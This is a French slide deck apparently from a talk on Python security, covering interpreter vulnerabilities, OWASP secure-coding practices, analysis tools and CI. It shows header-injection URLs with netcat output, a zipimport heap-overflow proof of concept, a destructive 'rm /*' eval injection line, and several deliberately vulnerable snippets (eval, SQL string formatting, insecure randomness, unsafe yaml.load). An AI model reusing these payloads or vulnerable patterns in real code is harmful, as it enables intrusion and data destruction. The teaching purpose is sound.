PYTHON ET LA SÉCURITÉ

DE L'INTERPRÉTEUR AU DÉPLOIEMENT

Thomas Duval

WHO AM I ?

- Ingénieur / Chercheur chez Orange Application for Business
- Dompteur de python depuis 2002
- Charmeur de python depuis 2012

asteroide@domtombox.net

thomas.duval@orange.com

SOMMAIRE :

SÉCURITÉ ?

GÉNÉRALITÉS

- l'intégrité
- la confidentialité
- la disponibilité
- la non-répudiation et l'imputation
- identification / authentification / autorisation

SÉCURITÉ ?

CONCEPT DE DÉFENSE EN PROFONDEUR

- sécuriser chaque sous-ensemble du système
- les composants d'une infrastructure ou d'un système d'information ne font pas confiance aux autres composants avec lesquels ils interagissent
- chaque composant effectue lui-même toutes les validations nécessaires pour garantir la sécurité

SOMMAIRE :

GÉNÉRALITÉS

- quelques vulnérabilités sur l'interpréteur en lui-même
- les corrections sont *plus ou moins* rapides
- cf. bugs.python.org

EXEMPLE : SMUGGLING ATTACK

DESCRIPTION

via : http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

Les librairies `urllib` et `urllib2` sont vulnérables à des attaques par injection de données dans le protocole HTTP.

EXEMPLE : SMUGGLING ATTACK

CODE

```
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)
```

EXEMPLE : SMUGGLING ATTACK

EXEMPLE

- `http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo`
- `http://localhost%00%0d%0ax-bar:%20:12345/foo`

```
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close
```

EXEMPLE : SMUGGLING ATTACK

RÉSOLUTION : TIMOTHY MORGAN

1. 2016-01-15: **Notified** Python Security of vulnerability with full details.
2. 2016-01-24: Requested status from Python Security, due to **lack of human response**.
3. 2016-01-26: Python Security list moderator said original notice held up in moderation queue. Mails now flowing.
4. 2016-02-07: Requested status from Python Security, since **no response** to vulnerability had been received.
5. 2016-02-08: Response from Python Security. Stated that issue is related to a general header injection bug, which **has been fixed in recent versions**. Belief that part of the problem lies in glibc; working with RedHat security on that.
6. 2016-02-08: Asked if Python Security had requested a CVE.
7. 2016-02-12: Python Security stated no CVE had been requested, will request one when other issues sorted out. Provided more information on glibc interactions.
8. 2016-02-12: Responded in agreement that one aspect of the issue could be glibc's problem.
9. 2016-03-15: Requested a status update from Python Security.
10. 2016-03-25: Requested a status update from Python Security. Warned that typical disclosure policy has a 90 day limit.
11. 2016-06-14: **RedHat requested a CVE** for the general header injection issue. Notified Python Security that full details of issue would be published due to inaction on their part.
12. 2016-06-15: Full disclosure.

EXEMPLE : SMUGGLING ATTACK

RÉSOLUTION

Il semblerait que le code ait été patché en mars 2015 !

- https://hg.python.org/cpython/rev/1c45047c5102
- https://hg.python.org/cpython/rev/bf3e1c9b80e9

EXEMPLE : SMUGGLING ATTACK

PREUVE SUR UNE DEBIAN/STABLE

```
vagrant@debian-jessie:~$ nc -l -p 12345
GET /foo HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:12345
Connection: close
User-Agent: Python-urllib/3.4


vagrant@debian-jessie:~$ nc -l -p 12345
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1
X-injected: header
x-leftover: :12345


vagrant@debian-jessie:~$ date
Wed Jun 22 16:24:30 GMT 2016
vagrant@debian-jessie:~$
```

EXEMPLE : ZIPIMPORT

DESCRIPTION

heap overflow in zipimporter module

EXEMPLE : ZIPIMPORT

CODE

```
import zipimport
import zipfile
import struct
import sys
from signal import *

FILE = 'payload'
ZIP = 'import.zip'

payload = bytes()
with open(FILE, 'wb') as f:
    payload = ("A" * 1000).encode('ascii')
    payload += struct.pack('<Q', 0x41414141)
    f.write(payload)

zf = zipfile.PyZipFile(ZIP, mode='w')
zf.write(FILE)
```

EXEMPLE : ZIPIMPORT

TESTS

Sur une Debian Jessie :

```
vagrant@debian-jessie:~$ vi /tmp/test.py
vagrant@debian-jessie:~$ python /tmp/test.py
Traceback (most recent call last):
  File "/tmp/test.py", line 25, in <module>
    print(importer.get_data(FILE))
IOError: zipimport: can't read data
Segmentation fault
vagrant@debian-jessie:~$ date
Fri Jul  8 07:09:53 GMT 2016
```

Sur une Ubuntu Xenial :

```
$ python /tmp/zip_test.py
Traceback (most recent call last):
  File "/tmp/zip_test.py", line 25, in <module>
    print(importer.get_data(FILE))
zipimport.ZipImportError: negative data size
```

SOMMAIRE :

SÉCURITÉ DU CODE : OWASP

https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide

SÉCURITÉ DU CODE : OWASP

validation des entrées

authentification et gestion des mots de passe

gestion des accès

gestion / interception des erreurs et des logs

sécurité des communications

sécurité des bases de données

gestion de la mémoire

encodage de la sortie

gestion des sessions

pratiques cryptographiques

protection des données

configuration du système

gestion des fichiers

SÉCURITÉ DU CODE : OWASP

VALIDATION DES ENTRÉES

toutes les entrées de l'application sont potentiellement **modifiables** par un attaquant expérimenté.

D'autant plus s'il a accès au code source.

VALIDATION DES ENTRÉES

```
# Utilisation : "python script.py [obj1|obj2|obj3]"
import sys
password = "super secret"
obj1 = "1"
obj2 = "2"
obj3 = "3"
print(eval(sys.argv[1]))
```

VALIDATION DES ENTRÉES

La fonction "*eval*" execute **systématiquement** le code fourni par l'utilisateur/attaquant. Par exemple :

```
__import__('os'); os.system("rm /*", shell=True)
```

VALIDATION DES ENTRÉES

Il faut mieux utiliser la fonction :

```
import ast
ast.literal_eval(input())
```

Cette fonction ne supporte qu'un nombre restreint de structures Python :

strings, *integer*, *dict*, *list*, *tuple*, *boolean*, *None*

SÉCURITÉ DU CODE : OWASP

ENCODAGE DE LA SORTIE

Selon l'application qui récupère la sortie de notre application, les effets peuvent ne pas être les mêmes...

ENCODAGE DE LA SORTIE

```
entree = input()
var1 = "... < {}".format(entree)
var2 = "... &lt; {}".format(entree)
yield var1
yield var2
```

ENCODAGE DE LA SORTIE

Toujours bien définir les entrées / sorties de son application.

SÉCURITÉ DU CODE : OWASP

AUTHENTIFICATION ET GESTION DES MOTS DE PASSE

une mauvaise gestion de l'authentification peut permettre à un attaquant de récupérer des informations sensibles ou d'effectuer des actions interdites avec son niveau d'accès

AUTHENTIFICATION ET GESTION DES MOTS DE PASSE

```
user = input("Utilisateur ? ")
if user not in users:
    print("No user named " + user)
import getpass
password = getpass.getpass()
...
```

AUTHENTIFICATION ET GESTION DES MOTS DE PASSE

- analyser ensemble les couples login / mot de passe
- sécuriser le stockage des mots de passe
- sécuriser la transmission des mots de passe

SÉCURITÉ DU CODE : OWASP

GESTION DES SESSIONS

une mauvaise gestion des sessions peut permettre à un attaquant de se faire passer pour un utilisateur avec des droits supplémentaires.

GESTION DES SESSIONS

```
users_dict = dict()
sessions = dict()

def is_auth(user, password):
    if user in users_dict:
        return password == users_dict[user]

def auth(user, password):
    if is_auth(user, password):
        # retourne un sessionid déjà utilisé
        return sessions[user]
```

GESTION DES SESSIONS

- supprimer les clés de session
  - → dès que l'utilisateur s'est déconnecté
  - → au bout d'un certain temps
- générer des clés de session avec un bon aléa
- si vous utilisez un framework, il faut vérifier ces points

SÉCURITÉ DU CODE : OWASP

GESTION DES ACCÈS

une mauvaise gestion des accès (autorisation) peut permettre à un attaquant de récupérer des informations sensibles.

GESTION DES ACCÈS

```
@enforce_auth
def get_secret_data1(request):
    return HTML(secret_data1)

def get_secret_data2(request):
    return HTML(secret_data2)
```

GESTION DES ACCÈS

- analyser finement les données sensibles / non sensibles du projet
- effectuer des tests unitaires / fonctionnels / d'intrusion en ce sens

SÉCURITÉ DU CODE : OWASP

PRATIQUES CRYPTOGRAPHIQUES

une mauvaise gestion des clés de chiffrement ou des algorithmes de hachage permet à un attaquant d'avoir accès à des informations sensibles

PRATIQUES CRYPTOGRAPHIQUES

```
def get_secure_random():
    import random
    return random.random()
```

SÉCURITÉ DU CODE : OWASP

PRATIQUES CRYPTOGRAPHIQUES

- toujours utiliser des librairies reconnues
  → *pycrypto*
  → *python-openssl*
- toujours vérifier les mises à jour de sécurité de ces librairies
- si vous n'êtes pas cryptologue : ne le faites pas vous même...

SÉCURITÉ DU CODE : OWASP

GESTION / INTERCEPTION DES ERREURS ET DES LOGS

Une bonne gestion des exceptions et des logs permet de sécuriser une application et de comprendre les erreurs / attaques lorsqu'elles arrivent

GESTION / INTERCEPTION DES ERREURS ET DES LOGS

```
def raise_error():
    return "Error with user {} and sessionid {}".format(
                user,
                sessionid)
```

GESTION / INTERCEPTION DES ERREURS ET DES LOGS

- un fichier pour gérer vos exceptions
- si l'application ne sait pas gérer une situation
  → exceptions et arrêt de la transaction
- une gestion des logs avec le module "*logging*"
- duplication des logs automatique
- génération de logs **clairs, synthétiques et compréhensibles**

SÉCURITÉ DU CODE : OWASP

PROTECTION DES DONNÉES

certaines données sont mises en cache, utilisées puis non supprimées, ce qui peut permettre à un attaquant de récupérer ces données après coup.

PROTECTION DES DONNÉES

```
...
file("/tmp/data.cache", "w").write(secret_data)
...
sys.exit(0)
```

PROTECTION DES DONNÉES

- recenser toutes les données à mettre en cache
- au moment de la réutilisation, il faut considérer que ce sont des entrées
- supprimer les données en cache après utilisation
- si ces données sont sur disque → anonymiser leur nom

SÉCURITÉ DU CODE : OWASP

SÉCURITÉ DES COMMUNICATIONS

la transmission de données entre 2 composants / systèmes doit être sécurisée :

- en confidentialité
- en intégrité
- en disponibilité

SÉCURITÉ DES COMMUNICATIONS

```
if secured_cnx:
    ....
    send(secret_data)
else:
    ....
    send(secret_data)
```

SÉCURITÉ DES COMMUNICATIONS

- utiliser des canaux sécurisés systématiquement
  → soit via le code
  → soit via le système (le mettre dans la doc)

SÉCURITÉ DU CODE : OWASP

CONFIGURATION DU SYSTÈME

la configuration de l'application joue un rôle important sur sa sécurité globale

CONFIGURATION DU SYSTÈME

```
def fonction1():
    return data1

def fonction2():
    return data2

def fonction_debug():
    return data3
```

CONFIGURATION DU SYSTÈME

supprimer toutes les fonctions de debug

mettre dans la documentation toutes les informations nécessaires à la bonne mise en œuvre de l'application

SÉCURITÉ DU CODE : OWASP

SÉCURITÉ DES BASES DE DONNÉES

la sécurité de la base de données de l'application passe par le code

SÉCURITÉ DES BASES DE DONNÉES

```
db = MySQLdb.connect(
    host="localhost",
    user="user",
    passwd="secret",
    db="database")
cursor = db.cursor()
def get_data(input_data):
    data = cusor.execute("SELECT * FROM {}".format(input_data))
```

SÉCURITÉ DES BASES DE DONNÉES

- utilisez les "?" systématiquement
- analysez les arguments envoyés aux requêtes

SÉCURITÉ DU CODE : OWASP

GESTION DES FICHIERS

l'accès aux fichiers réels doit être très réglementé.

GESTION DES FICHIERS

```
def get_filename():
    import os
    return os.path.realpath(filename)
```

GESTION DES FICHIERS

- ne mettez jamais vos répertoires / fichiers en accès direct

SOMMAIRE :

SÉCURITÉ DU DÉVELOPPEMENT

OUTILLAGE

ÉDITEUR DE CODE

il faut un bon éditeur de code :

- analyse syntaxique
- analyse des erreurs
- PEP8
- bonnes règles de dev
- tests automatiques
- plugins : svn, git, mercurial, ...
- ...

PYCHARM !

https://www.jetbrains.com/pycharm

SÉCURITÉ DU DÉVELOPPEMENT

ARCHITECTURE DU CODE

MODULARITÉ

- permet de compartimenter le code
- permet de mettre à jour certaines parties et pas d'autres
- permet de rendre le code plus clair pour le dev et pour les autres

LOGGING

- génération de logs **clairs, synthétiques et compréhensibles**
- configuration extérieure du module "*logging*" (cf. exemple)
- filtrage et duplication des logs selon leurs criticités

EXCEPTIONS

- doivent être claires et concises
- doivent être documentées
- pas de "*except:*" ("*catch all*")
- un plantage n'est pas une erreur c'est une "*feature*" de sécurité !

CHIFFREMENT

- toujours utiliser des librairies reconnues
  - → *pycrypto*
  - → *python-openssl*
- toujours vérifier les mises à jour de sécurité de ces librairies
- si vous n'êtes pas cryptologue : ne le faites pas vous même...

DÉPENDANCES

les dépendances sont gérées par le fichier *requirements.txt*

```
# bien
pbr
Routes!=2.0,!=2.1,!=2.3.0,>=1.12.3;python_version=='2.7'
Routes!=2.0,!=2.3.0,>=1.12.3;python_version!='2.7'

# pas bien
cryptography=1.3.0
```

ÉVITER LES LIBRAIRIES / FONCTIONS DANGEREUSES

Quelques exemples :

- eval
- exec
- os.system
- yaml.load
- ...

DONNÉES SENSIBLES

- il faut distinguer les données système des données utilisateur
- elle doivent être chiffrées si possible avec aucun moyen pour l'application de déchiffrer de son propre chef

SÉCURISER L'EXÉCUTION DES SCRIPTS

Quelques exemples :

- l'exécution dans */tmp* peut permettre à un attaquant d'obliger l'import de librairie vérolée
- exec
- os.system
- yaml.load
- ...

SÉCURITÉ DU DÉVELOPPEMENT

TESTS

TESTS UNITAIRES

Les tests unitaires permettent de tester les fonctions une à une.

Plusieurs modules python sont disponibles pour cela :

- doctest
- unitest
- pytest
- nosetests
- tox

TESTS DE COUVERTURE

Les tests de couverture permettent de :

- faire une correspondance entre le code et les tests
- vérifier que toutes les fonctions ont été testées

TESTS FONCTIONNELS

Les tests fonctionnels permettent de vérifier :

- un ensemble de fonctions
- la communication entre plusieurs fonctions
- un certain nombre de scénario ou de "use-cases"

PEP8

https://www.python.org/dev/peps/pep-0008/

Ce document donne un certain nombre de convention à respecter dans le code

Guido : "Un code est plus souvent lu qu'écrit..."

PROFILING

Il existe un certain nombre de modules permettant de vérifier les temps d'exécution d'un code :

- `profile`
- `hotshot`
- `timeit`

SÉCURITÉ DU DÉVELOPPEMENT

TESTS DE SÉCURITÉ

PYLINT

PyLint permet de faire plein de vérifications de qualimétrie :

- PEP8
- détections d'erreur sur les variables, fonctions et modules
- suivi de la qualimétrie
- intégration dans de nombreux IDE

https://www.pylint.org/

FLAKE8

flake8 est un wrapper permettant d'exécuter PyFlakes, pycodestyle et "Ned Batchelder's McCabe script"

- analyse les erreurs courantes
- PEP8
- analyse la complexité du code

https://pypi.python.org/pypi/flake8

BANDIT

Bandit est un analyseur de code orienté sécurité qui utilise le module `ast` :

- mots de passe codés en dur
- injection SQL, shell, ...
- connexions SSL/TLS non sécurisées
- exécutions non sécurisées
- ...

https://wiki.openstack.org/wiki/Security/Projects/Bandit

VULTURE

Vulture est un analyseur de code permettant de trouver le code mort qui utilise le module `ast`

https://bitbucket.org/jendrikseipp/vulture

RATS

Rough Auditing Tool for Security

Librairie non maintenue ? La dernière version date de 2013

https://code.google.com/archive/p/rough-auditing-tool-for-security/

PYCHECKER

Librairie non maintenue ? La dernière version date de 2011

PyChecker permet de retrouver certains bugs dans le code :

- erreurs dans les paramètres
- non initialisation de variable
- code mort
- ...

http://pychecker.sourceforge.net/

TESTS D'INTRUSION

- dépendant de l'application à tester
- nécessite des ressources spécifiques
- nécessite de l'expérience
- nécessite une personne externe au projet

SÉCURITÉ DU DÉVELOPPEMENT

INTEGRATION CONTINUE

JENKINS

Serveur d'intégration continue très utilisé en entreprise

Il faut trouvé un serveur physique pour l'installer

https://jenkins.io/index.html

TRAVIS

Serveur d'intégration continue avec un accès gratuit pour les projets OpenSource

il suffit de créer un fichier .travis.yml et connecter Travis avec son repository de code

https://travis-ci.org/

DRONE.IO

Comme pour Travis, c'est un service d'intégration continue

Le support de Python est encore en version beta...

Drone permet de faire du déploiement continue

https://drone.io/

SÉCURITÉ EN PRODUCTION

DÉPLOIEMENT CONTINUE

Le déploiement continue permet de mettre à jour le code automatiquement

il est très dépendant de la plateforme où est installée votre application Amazon, Heroku, Google, ...

SUIVI DES BUGS

Il est essentiel de suivre les bugs de votre application :

- gestion dans le temps
- gestion des demandes
- gestion des corrections
- ...

SOMMAIRE :

CONCLUSION

- la sécurité n'est pas un luxe
- la sécurité doit être :
  - → appliquée en amont du projet
  - → automatisée
  - → mesurée
  - → partagée

QUESTIONS ?

MERCI !

ANNEXES

EXEMPLE LOGGING + YAML

```
import yaml
import logging
_global_config = yaml.load(open(filename))
logging.dictConfig(_global_config["logger"])
```

```
logging:
  version: 1

  formatters:
    brief:
      format: "%(levelname)s %(name)s %(message)-30s"
    custom:
      format: "%(asctime)-15s %(levelname)s %(name)s %(message)s"

  handlers:
    console:
      class : logging.StreamHandler
      formatter: brief
      level   : INFO
      stream  : ext://sys.stdout
    file:
      class : logging.handlers.RotatingFileHandler
      formatter: custom
      level   : DEBUG
      filename: /tmp/logconfig.log
      maxBytes: 1048576
      backupCount: 3
```

```
  loggers:
    spider:
      level: DEBUG
      handlers: [file]
      propagate: no

  root:
    level: INFO
handlers: [file]
```